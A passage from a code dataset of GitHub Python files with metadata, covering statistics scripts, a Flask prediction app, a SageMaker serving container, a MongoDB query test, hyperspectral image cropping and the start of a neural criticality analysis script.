range(group[idx] - 1, group[idx] + 2):\n if k not in candidate:\n continue\n for i in candidate[k]:\n min_ = min(min_, abs(pts[i] - p1))\n candidate[group[idx]].append(idx)\n print(round(min_**2))\nBOJ_2261()", "repo_name": "GeukYoung/PS", "sub_path": "02261_가장 가까운 두점_2.py", "file_name": "02261_가장 가까운 두점_2.py", "file_ext": "py", "file_size_in_byte": 1114, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sys.stdin", "line_number": 4, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 5, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 23, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 23, "usage_type": "argument"}]} +{"seq_id": "14248009547", "text": "import pandas as pd\nfrom scipy.stats import kstest\nfrom scipy.stats import chi2_contingency\n# Read the CSV file into a DataFrame\ndata = pd.read_csv('./instance_grime.csv')\n\n# Perform the Kolmogorov-Smirnov test on TD\n# stat, p_value = kstest(data['TD'], 'norm')\n# print(f'Kolmogorov-Smirnov Test - TD: statistic={stat:.4f}, p-value={p_value}')\n\n# # Perform the Kolmogorov-Smirnov test on mg-ca\n# stat, p_value = kstest(data['mg-ca'], 'norm')\n# print(f'Kolmogorov-Smirnov Test - mg-ca: statistic={stat:.4f}, p-value={p_value}')\n\n# # Perform the Kolmogorov-Smirnov test on mg-ce\n# stat, p_value = kstest(data['mg-ce'], 'norm')\n# print(f'Kolmogorov-Smirnov Test - mg-ce: statistic={stat:.4f}, p-value={p_value}')\n\n\n# Create a new column \"hasTD\" based on \"TD\"\n\ndef chi_square(df):\n df['TD'] = pd.to_numeric(df['TD'])\n df['hasTD'] = df['TD'].apply(lambda x: 1 if x > 0 else 0)\n\n # Create a new column \"hasCA\" based on \"mg-ca\"\n df['mg-ca'] = pd.to_numeric(df['mg-ca'])\n df['hasCA'] = df['mg-ca'].apply(lambda x: 1 if x > 0 else 0)\n\n # Create a new column \"hasCE\" based on \"mg-ce\"\n df['mg-ce'] = pd.to_numeric(df['mg-ce'])\n df['hasCE'] = df['mg-ce'].apply(lambda x: 1 if x > 0 else 0)\n\n # Create a contingency table from the 'hasGrime' and 'hasTD' columns\n contingency_table = pd.crosstab(df['hasTD'], df['hasCA'])\n\n # Perform the chi-square test\n chi2, p_value, dof, expected = chi2_contingency(contingency_table)\n\n # Print the results\n print('mg-ca')\n print('Chi-square statistic:', chi2)\n print('P-value:', p_value)\n\n\n # Create a contingency table from the 'hasGrime' and 'hasTD' columns\n contingency_table = pd.crosstab(df['hasTD'], df['hasCE'])\n\n # Perform the chi-square test\n chi2, p_value, dof, expected = chi2_contingency(contingency_table)\n\n # Print the results\n\n print('mg-ce')\n print('Chi-square statistic:', chi2)\n print('P-value:', p_value)\n\n\n\n # Create a new column \"hasCA\" based on \"cg-na\"\n df['cg-na'] = pd.to_numeric(df['cg-na'])\n df['hasNA'] = df['cg-na'].apply(lambda x: 1 if x > 0 else 0)\n\n # Create a new column \"hasCE\" based on \"cg-npm\"\n df['cg-npm'] = pd.to_numeric(df['cg-npm'])\n df['hasNPM'] = df['cg-npm'].apply(lambda x: 1 if x > 0 else 0)\n\n # Create a contingency table from the 'hasGrime' and 'hasTD' columns\n contingency_table = pd.crosstab(df['hasTD'], df['hasNA'])\n\n # Perform the chi-square test\n chi2, p_value, dof, expected = chi2_contingency(contingency_table)\n\n # Print the results\n print('cg-na')\n print('Chi-square statistic:', chi2)\n print('P-value:', p_value)\n\n\n # Create a contingency table from the 'hasGrime' and 'hasTD' columns\n contingency_table = pd.crosstab(df['hasTD'], df['hasNPM'])\n\n # Perform the chi-square test\n chi2, p_value, dof, expected = chi2_contingency(contingency_table)\n\n # Print the results\n\n print('cg-npm')\n print('Chi-square statistic:', chi2)\n print('P-value:', p_value)\n\n\n\ncurrent_pattern = data['Pattern'][0]\npattern_data = []\nt_statistic_list = []\np_value_list = []\npatter_names = []\n\n# Iterate through instances\nfor _, row in data.iterrows():\n pattern = row['Pattern']\n \n if pattern != current_pattern:\n \n # Perform t-test for the previous pattern\n if pattern_data:\n # Perform the chi-square test\n print(\"-------------------\")\n print(current_pattern)\n df = pd.DataFrame(pattern_data)\n chi_square(df)\n \n \n # Reset pattern-specific data\n current_pattern = pattern\n pattern_data = []\n \n # Store the instance data for the current pattern\n pattern_data.append(row)\n\n# Perform t-test for the last pattern\nif pattern_data:\n # Perform the chi-square test\n print(\"-------------------\")\n print(current_pattern)\n df = pd.DataFrame(pattern_data)\n chi_square(df) \n\n\n\n", "repo_name": "anaterna/BscThesis", "sub_path": "PythonScripts/Chi-square.py", "file_name": "Chi-square.py", "file_ext": "py", "file_size_in_byte": 3911, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.stats.chi2_contingency", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 47, "usage_type": "call"}, {"api_name": "scipy.stats.chi2_contingency", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 69, "usage_type": "call"}, {"api_name": "scipy.stats.chi2_contingency", "line_number": 72, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 81, "usage_type": "call"}, {"api_name": "scipy.stats.chi2_contingency", "line_number": 84, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 111, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 127, "usage_type": "call"}]} +{"seq_id": "17045924202", "text": "from flask import Flask, render_template, request\nfrom .model import predictor\nimport pandas as pd\n\n\ndef create_app():\n\n app = Flask(__name__)\n @app.route('/', methods=[\"GET\", \"POST\"])\n def root():\n return render_template('home.html')\n\n\n @app.route('/predict', methods=[\"GET\", \"POST\"])\n def predict():\n\n if request.method == 'POST':\n \n # cols = ['main_category','launched','country','usd_pledged_real']\n\n df = pd.DataFrame({\n \"main_category\": [request.values['main_category']], \n \"launched\": [request.values['launched']], \n \"country\": [request.values['country']], \n \"usd_pledged_real\": [request.values['usd_pledged_real']]\n })\n \n # Create prediction from model\n prediction, proba = predictor(df)\n if prediction == 1:\n flag = 'SUCCESSFUL'\n else:\n flag = 'FAIL'\n\n # Covert array to string response\n results = \"Your project is predicted to be {0} with probability {1}\".format(flag, proba)\n\n else:\n results = 'No data has been posted to page.'\n return render_template('results.html', results=results)\n\n return app", "repo_name": "xianshiw/kickstarter_prediction_proj", "sub_path": "kickstarter_pred/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1277, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "model.predictor", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "70128772119", "text": "from collections import Counter\r\n\r\nimport requests\r\n\r\nSTOCK_DATA = \"https://bites-data.s3.us-east-2.amazonaws.com/stocks.json\"\r\n\r\n# pre-work: load JSON data into program\r\n\r\nwith requests.Session() as s:\r\n data = s.get(STOCK_DATA).json()\r\n\r\n\r\n# your turn:\r\n\r\n\r\ndef _cap_str_to_mln_float(cap):\r\n \"\"\"If cap = 'n/a' return 0, else:\r\n - strip off leading '$',\r\n - if 'M' in cap value, strip it off and return value as float,\r\n - if 'B', strip it off, multiply by 1,000 and return\r\n value as float\"\"\"\r\n if cap == \"n/a\":\r\n return 0\r\n else:\r\n cap_dollar = cap[1:]\r\n if \"M\" in cap_dollar:\r\n output = float(cap_dollar.replace(\"M\", \"\"))\r\n if \"B\" in cap_dollar:\r\n output = float(cap_dollar.replace(\"B\", \"\")) * 1000\r\n return output\r\n\r\n\r\ndef get_industry_cap(industry):\r\n \"\"\"Return the sum of all cap values for given industry, use\r\n the _cap_str_to_mln_float to parse the cap values,\r\n return a float with 2 digit precision\"\"\"\r\n return round(\r\n sum(\r\n _cap_str_to_mln_float(stock[\"cap\"])\r\n for stock in data\r\n if stock[\"industry\"] == industry\r\n ),\r\n 2,\r\n )\r\n\r\n\r\ndef get_stock_symbol_with_highest_cap():\r\n \"\"\"Return the stock symbol (e.g. PACD) with the highest cap, use\r\n the _cap_str_to_mln_float to parse the cap values\"\"\"\r\n stock_symbol = \"\"\r\n highest_cap = 0.00\r\n for stock in data:\r\n curr_stock = stock[\"symbol\"]\r\n curr_cap = _cap_str_to_mln_float(stock[\"cap\"])\r\n if curr_cap > highest_cap:\r\n stock_symbol = curr_stock\r\n highest_cap = curr_cap\r\n\r\n return stock_symbol\r\n\r\n\r\ndef get_sectors_with_max_and_min_stocks():\r\n \"\"\"Return a tuple of the sectors with most and least stocks,\r\n discard n/a\"\"\"\r\n sectors = [stock[\"sector\"] for stock in data if stock[\"sector\"] != \"n/a\"]\r\n\r\n return (Counter(sectors).most_common()[0][0], Counter(sectors).most_common()[-1][0])\r\n", "repo_name": "davidjnevin/pybites_done", "sub_path": "bites_done/129/stocks.py", "file_name": "stocks.py", "file_ext": "py", "file_size_in_byte": 1975, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "requests.Session", "line_number": 9, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 67, "usage_type": "call"}]} +{"seq_id": "1334659091", "text": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport os\nimport json\nimport pickle\nimport StringIO\nimport sys\nimport signal\nimport traceback\n\nimport flask\n\nimport pandas as pd\n\nprefix = '/opt/ml/'\nmodel_path = os.path.join(prefix, 'model')\n\n# モデルを提供するためのシングルトンクラス\n# get_model() メソッドでモデルデータをロードし，predict() メソッドでロードしたモデルの推論を実行します\n\nclass ScoringService(object):\n model = None\n\n @classmethod\n def get_model(cls):\n if cls.model == None:\n with open(os.path.join(model_path, 'decision-tree-model.pkl'), 'r') as inp:\n cls.model = pickle.load(inp)\n return cls.model\n\n @classmethod\n def predict(cls, input):\n clf = cls.get_model()\n return clf.predict(input)\n\n \n# 推論処理を行うための flask アプリケーション\napp = flask.Flask(__name__)\n\n@app.route('/ping', methods=['GET'])\ndef ping():\n # コンテナが正常に動作しているかを判定するメソッド．ここでは，モデルをロードできたら正常と返すようにしています\n health = ScoringService.get_model() is not None\n\n status = 200 if health else 404\n return flask.Response(response='\\n', status=status, mimetype='application/json')\n\n@app.route('/invocations', methods=['POST'])\ndef transformation():\n # csv を受け取って pandas のデータフレームに変換し，モデルで推論．結果を csv に戻してから返します\n data = None\n\n # csv を pandas に変換\n if flask.request.content_type == 'text/csv':\n data = flask.request.data.decode('utf-8')\n s = StringIO.StringIO(data)\n data = pd.read_csv(s, header=None)\n else:\n return flask.Response(response='This predictor only supports CSV data', status=415, mimetype='text/plain')\n\n # 推論��実施\n predictions = ScoringService.predict(data)\n\n # 結果を csv に戻してから返却\n out = StringIO.StringIO()\n pd.DataFrame({'results':predictions}).to_csv(out, header=False, index=False)\n result = out.getvalue()\n return flask.Response(response=result, status=200, mimetype='text/csv')\n", "repo_name": "smrmkt/sagemaker-notebooks", "sub_path": "bring_your_own_container/scikit_bring_your_own/container/decision_trees/predictor.py", "file_name": "predictor.py", "file_ext": "py", "file_size_in_byte": 2234, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.request.data.decode", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 57, "usage_type": "attribute"}, {"api_name": "StringIO.StringIO", "line_number": 58, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 61, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 67, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 70, "usage_type": "call"}]} +{"seq_id": "38620765228", "text": "from pymongo import MongoClient\nimport datetime\nimport pprint\n\n\ntwo_hour_time = datetime.datetime.now() - datetime.timedelta(hours = 2)\nthree_hour_time = datetime.datetime.now() - datetime.timedelta(hours = 3)\nfour_hour_time = datetime.datetime.now() - datetime.timedelta(hours = 4)\n\nclient = MongoClient('localhost', 27017)\ndb = client.WEATHER\n# filter_condition = {\"$lte\": three_hour_time, \"$gte\": two_hour_time}\nfilter_condition = {\"$lte\": two_hour_time, \"$gte\": three_hour_time}\n\n# for data in db.meteorology.find({\"time\": filter_condition, \"stationName\": \"福山\"}):\n# print(\"兩小時前資料\")\n# pprint.pprint(data)\n# for data in db.meteorology.find({\"stationName\": \"福山\"}):\n# pprint.pprint(data)\ntwo_hour_data = db.meteorology.find_one({\"time\": {\"$lte\": two_hour_time, \"$gte\": three_hour_time}, \"stationId\": \"C0A560\"})\nthree_hour_data = db.meteorology.find_one({\"time\": {\"$lte\": three_hour_time, \"$gte\": four_hour_time}, \"stationId\": \"C0A560\"})\nprint(\"兩小時前資料\")\nprint(two_hour_data['time'])\nprint(\"三小時前資料\")\nprint(three_hour_data)\n\n# print(datetime.datetime.now())\n# print(one_hour_time)\n# print(two_hour_time)\n# print(three_hour_time)", "repo_name": "andrewliang25/fianl_project_of_Introduction_to_Big_Data_Analytics", "sub_path": "source_code/網站/weather/test_db.py", "file_name": "test_db.py", "file_ext": "py", "file_size_in_byte": 1181, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "datetime.datetime.now", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 6, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 7, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 8, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 8, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "6260156690", "text": "import sys\nsys.path.append(\"..\")\n\nfrom .Display_mask import load_coco\nfrom two_stage.watershed_2_coco import empty_dict, export_json\nfrom .simple_object_placer import coco_next_anno_id\nfrom .random_original import extract_subwindow\nfrom .preprocess_image import spectral_test\n\nimport numpy as np\nimport cv2 as cv\nimport os\n\n\ndef mask_in_window(mask, window_top_x,window_bottom_x, window_top_y, window_bottom_y):\n \"\"\"\n Checks if mask coordinates are within the given window.\n \n Args:\n mask (list): List of mask coordinates.\n window_top_x (int): Top-left x-coordinate of the window.\n window_bottom_x (int): Bottom-right x-coordinate of the window.\n window_top_y (int): Top-left y-coordinate of the window.\n window_bottom_y (int): Bottom-right y-coordinate of the window.\n \n Returns:\n bool: True if mask is in the window, False otherwise.\n \"\"\"\n is_in = False\n for i in range(len(mask[0::2])) :\n if (window_top_x < mask[0::2][i] < window_bottom_x) and (window_top_y < mask[1::2][i] < window_bottom_y):\n is_in = True\n else:\n continue\n return is_in\n\n\n\ndef extract_subwindow_HSI(original_img, new_annotation, new_id, window_size, image_id, image_dir, image_name, dataset, z=1234, plot_mask=False):\n \"\"\"\n Extract a subwindow from the original image and update the annotation information.\n\n Args:\n original_img (ndarray): Original image.\n new_annotation (dict): New annotation dictionary.\n new_id (int): New ID for the extracted subwindow.\n window_size (tuple): Window size as (height, width).\n image_id (int): Image ID of the original image.\n image_dir (str): Directory containing the original image.\n dataset (dict): Original dataset information.\n z (int, optional): Random seed. Defaults to 1234.\n plot_mask (bool, optional): Whether to plot the mask. Defaults to False.\n\n Returns:\n tuple: Tuple containing the extracted subwindow (ndarray) and the updated new_annotation (dict).\n \"\"\"\n \n # Get window dimensions\n window_height, window_width, window_channels = window_size\n \n # Set random seed for reproducibility\n np.random.seed(z)\n \n # Generate random top left corner for the subwindow\n top_left_x = np.random.randint(0, original_img.shape[1] - window_width)\n top_left_y = np.random.randint(0, original_img.shape[0] - window_height)\n\n # Calculate bottom right corner of the subwindow\n bottom_right_x = top_left_x + window_width\n bottom_right_y = top_left_y + window_height\n\n # Extract the subwindow\n subwindow = original_img[top_left_y:bottom_right_y, top_left_x:bottom_right_x]\n\n # Initialize a new mask for the subwindow\n mask = np.zeros((window_height, window_width), dtype=np.uint8)\n \n # Precompute file_name\n #filename_dict = {file[\"id\"]: file[\"file_name\"] for file in dataset[\"images\"]}\n \n for k, ann in enumerate(dataset['annotations']):\n if ann['image_id'] == image_id:\n \n if mask_in_window(ann['segmentation'][0], top_left_x, bottom_right_x, top_left_y, bottom_right_y):\n \n new_coords = []\n dup_dict = {}\n for coord_x, coord_y in zip(ann['segmentation'][0][0::2], ann['segmentation'][0][1::2]):\n new_x = coord_x - top_left_x\n new_y = coord_y - top_left_y\n \n if (0 < new_x < window_width-1 ) and (0 < new_y < window_height-1):\n new_coords.extend([new_x, new_y])\n \n \n if len(new_coords) > 0:\n \n min_x, min_y = min(new_coords[::2]), min(new_coords[1::2])\n max_x, max_y = max(new_coords[::2]), max(new_coords[1::2])\n cropped_bbox = [min_x, min_y, max_x - min_x, max_y - min_y]\n \n new_coords_coords = []\n for coord_x, coord_y in zip(ann['segmentation'][0][0::2], ann['segmentation'][0][1::2]):\n new_x = coord_x - top_left_x\n new_y = coord_y - top_left_y\n #Do not extend mask outside the subwindow\n #Wall-E-algorithm\n #Fills in the mask from edge grains\n if new_x <= 0:\n new_x = 0\n \n elif new_x >= window_width:\n new_x = window_width - 1\n \n if new_y <= 0:\n new_y = 0\n \n elif new_y >= window_height:\n new_y = window_height - 1\n\n dup_dict[(new_x,new_y)] = 0\n \n for x, y in dup_dict.keys():\n if 'min_x' in locals() and 'min_y' in locals() and 'max_x' in locals() and 'max_y' in locals():\n if (min_x <= x <= max_x) and (min_y <= y <= max_y):\n new_coords_coords.extend([x, y])\n else:\n continue\n \n if len(new_coords_coords) > 0:\n \n min_x, min_y = min(new_coords_coords[::2]), min(new_coords_coords[1::2])\n max_x, max_y = max(new_coords_coords[::2]), max(new_coords_coords[1::2])\n cropped_bbox_bbox = [min_x, min_y, max_x - min_x, max_y - min_y]\n \n\n new_annotation[\"annotations\"].append({'id': coco_next_anno_id(new_annotation),\n 'image_id': new_id,\n 'segmentation': [new_coords_coords],\n 'iscrowd': ann['iscrowd'],\n 'bbox': cropped_bbox_bbox,\n 'area': ann['area'],\n 'category_id': ann['category_id']})\n \n\n new_annotation['images'].append({'id':new_id,\n 'file_name': f'{new_id}_window_{image_name}.jpg',\n 'license':1,\n 'height':subwindow.shape[0],\n 'width':subwindow.shape[1]})\n \n return subwindow, new_annotation\n\n\n\n\ndef extract_subwindow_main(annotation_path, HSI_image_dir, rgb_image_dir, n=100):\n\n # Initialize empty annotation dictionaries for HSI and RGB images\n HSI_new_annotation = empty_dict()\n dataset = load_coco(annotation_path)\n HSI_new_annotation[\"categories\"] = dataset[\"categories\"]\n\n rgb_new_annotation = empty_dict()\n rgb_new_annotation[\"categories\"] = dataset[\"categories\"]\n\n # Initialize other variables\n class_list = [\"Rye_Midsummer\", \"Wheat_H1\", \"Wheat_H3\", \"Wheat_H4\", \"Wheat_H5\", \"Wheat_Halland\", \"Wheat_Oland\", \"Wheat_Spelt\"]\n class_check = [0]*8 \n class_check_Dense = [0]*8 \n class_check_sparse = [0]*8 \n c = 0\n\n while (c < n):\n\n image_id = np.random.randint(0, len(dataset[\"images\"])) ### choose random image\n \n image_name = dataset[\"images\"][image_id][\"file_name\"]\n image_id = image_id + 1\n \n ids = [class_list.index(names) for names in class_list if names in image_name]\n if (class_check[ids[0]] <= (n//len(class_list))):\n keep = False\n if \"Dense\" in image_name:\n if class_check_Dense[ids[0]] <= (n//(len(class_list)*2)):\n class_check_Dense[ids[0]] += 1\n keep = True\n elif \"Sparse\" in image_name:\n if class_check_sparse[ids[0]] <= (n//(len(class_list)*2)):\n class_check_sparse[ids[0]] += 1\n keep = True\n if keep:\n class_check[ids[0]] += 1\n # Get image-info from JSON\n HSI_image_path = os.path.join(HSI_image_dir, image_name)\n \n rgb_image_path = os.path.join(rgb_image_dir, image_name)\n if not HSI_image_path.endswith(\".npy\"):\n HSI_image_path = HSI_image_path[:-3]+\"npy\"\n \n if not rgb_image_path.endswith(\".jpg\"):\n rgb_image_path = rgb_image_path[:-3]+\"jpg\"\n \n HSI_img = spectral_test(HSI_image_path)\n \n image_name = image_name.split(\".\")[0]\n \n HSI_subwindow_size = (256, 256, 102)\n \n HSI_subwindow, HSI_new_annotation = extract_subwindow_HSI(HSI_img, HSI_new_annotation, c, HSI_subwindow_size, image_id, HSI_image_dir, image_name, dataset, c, plot_mask=False)\n \n #BGR to RGB\n img = cv.imread(rgb_image_path)\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n \n \n rgb_subwindow_size = (256, 256)\n \n rgb_subwindow, rgb_new_annotation = extract_subwindow(img, rgb_new_annotation, c, rgb_subwindow_size, image_id, rgb_image_dir, image_name, dataset, c, plot_mask=False)\n #print(rgb_new_annotation)\n #extract_subwindow(original_img, new_annotation, new_id, window_size, img_id, image_dir, dataset, plot_mask=False):\n #subwindow, new_annotation, mask = extract_subwindow(img, subwindow_size, image_id, image_dir, dataset)\n \n #c = image_id\n \n #subwindow = cv.cvtColor(subwindow, cv.COLOR_BGR2RGB)\n HSI_output_path = os.path.join(HSI_image_dir, \"windows\\PLS_eval_img\") \n np.save(HSI_output_path + \"\\\\\" + f\"{c}_window_{image_name}.npy\",HSI_subwindow)\n \n \n rgb_output_path = os.path.join(HSI_image_dir, \"windows\\PLS_eval_img_rgb\") \n subwindow = cv.cvtColor(rgb_subwindow, cv.COLOR_RGB2BGR)\n cv.imwrite(rgb_output_path + \"\\\\\" + f\"{c}_window_{image_name}.jpg\", subwindow)\n #np.save(rgb_output_path + f\"window{c}.jpg\", rgb_subwindow)\n c += 1\n print(f\"Generating cropped-image: {c} out of {n}\")\n export_json(HSI_new_annotation, os.path.join(HSI_image_dir, \"windows\") + \"/COCO_HSI_windowed.json\")\n #export_json(rgb_new_annotation,r\"C:\\Users\\jver\\Desktop\\Test\\rgb/COCO_rgb_windowed.json\")\n \n", "repo_name": "cerichs/Bsc_Thesis_Instance_segmentation", "sub_path": "preprocessing/random_original_HSI.py", "file_name": "random_original_HSI.py", "file_ext": "py", "file_size_in_byte": 10510, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sys.path.append", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 76, "usage_type": "attribute"}, {"api_name": "simple_object_placer.coco_next_anno_id", "line_number": 137, "usage_type": "call"}, {"api_name": "two_stage.watershed_2_coco.empty_dict", "line_number": 160, "usage_type": "call"}, {"api_name": "Display_mask.load_coco", "line_number": 161, "usage_type": "call"}, {"api_name": "two_stage.watershed_2_coco.empty_dict", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 176, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path", "line_number": 195, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 197, "usage_type": "call"}, {"api_name": "os.path", "line_number": 197, "usage_type": "attribute"}, {"api_name": "preprocess_image.spectral_test", "line_number": 204, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 213, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 214, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 214, "usage_type": "attribute"}, {"api_name": "random_original.extract_subwindow", "line_number": 219, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path", "line_number": 227, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 232, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 232, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 233, "usage_type": "call"}, {"api_name": "two_stage.watershed_2_coco.export_json", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 237, "usage_type": "attribute"}]} +{"seq_id": "33850814193", "text": "import numpy as np\nimport glob\nimport pandas as pd\nfrom sahara_work import Crit\nfrom sahara_work import lilo_and_stitch\nimport matplotlib.pyplot as plt\nimport sahara_work as saw\nfrom datetime import datetime as dt\nimport signal\nimport sys\nimport os\nimport shutil\nimport time\nimport seaborn as sns\n\n\ndef write_qsub_header(shfile):\n f = '''#!/bin/bash\\n# Make sure ncpus in spikeinterface_currentall.py is same as ppn\\n# Please change BASEDIR\\nBASEDIR=/scratch/khengen_lab/crit_sahara/\\\n \\nOUTDIR=/scratch/khengen_lab/crit_sahara/\\n# Get name for log file\\nJOBID=`echo ${PBS_JOBID} | cut -c1-12`\\\n \\noutput_name=${PBS_JOBNAME}_${JOBID}.log\\n# Load modules\\nmodule purge all\\nmodule load gcc-4.7.2\\n\\n'''\n with open(shfile, 'w') as t:\n t.write(f)\n\n\n\ndef write_to_files(o, csvloc):\n err, appended = saw.write_to_results_csv(o, csvloc)\n if err:\n print('something weird happened, this should not have errored')\n # else:\n # new_path = o.pathname\n # loaded = np.load('/media/HlabShare/clayton_sahara_work/criticality/loaded_paths_results.npy')\n # loaded = np.append(loaded, new_path)\n # np.save('/media/HlabShare/clayton_sahara_work/criticality/loaded_paths_results.npy', loaded)\n return appended\n\ndef write_to_files_chpc(o, csvloc):\n err, appended = saw.write_to_results_csv(o, csvloc)\n if err:\n print('something weird happened, this should not have errored')\n else:\n new_path = o.pathname\n loaded = np.load('/scratch/khengen_lab/crit_sahara/loaded_paths_results.npy')\n loaded = np.append(loaded, new_path)\n np.save('/scratch/khengen_lab/crit_sahara/loaded_paths_results.npy', loaded)\n return appended\n\ndef write_to_pkl_chpc(o, pkl_loc):\n err, appended = saw.write_to_results_pkl(o, pkl_loc)\n if err:\n print('something weird happened, this should not have errored')\n else:\n new_path = o.pathname\n loaded = np.load('/scratch/khengen_lab/crit_sahara/loaded_paths_results.npy')\n loaded = np.append(loaded, new_path)\n np.save('/scratch/khengen_lab/crit_sahara/loaded_paths_results.npy', loaded)\n return appended\n\n\nparams = {\n 'flag': 2, # 1 is DCC 2 is p_val and DCC\n 'ava_binsz': 0.04, # in seconds\n 'hour_bins': 4, # durration of block to look at\n 'perc': 0.35,\n 'bm':None,\n 'tm':None,\n 'nfactor_bm': 0,\n 'nfactor_tm': 0,\n 'nfactor_bm_tail': .9, # upper bound to start exclude for burst\n 'nfactor_tm_tail': .9, # upper bound to start exclude for time \n 'cell_type': ['FS', 'RSU'],\n 'quals':[1,2,3],\n 'plot': True,\n 'base_saveloc': f'/media/HlabShare/clayton_sahara_work/criticality/',\n 'verbose':False,\n 'timeout':5000,\n 'none_fact':40, \n 'exclude':True, \n 'exclude_burst':50,\n 'exclude_time':20,\n 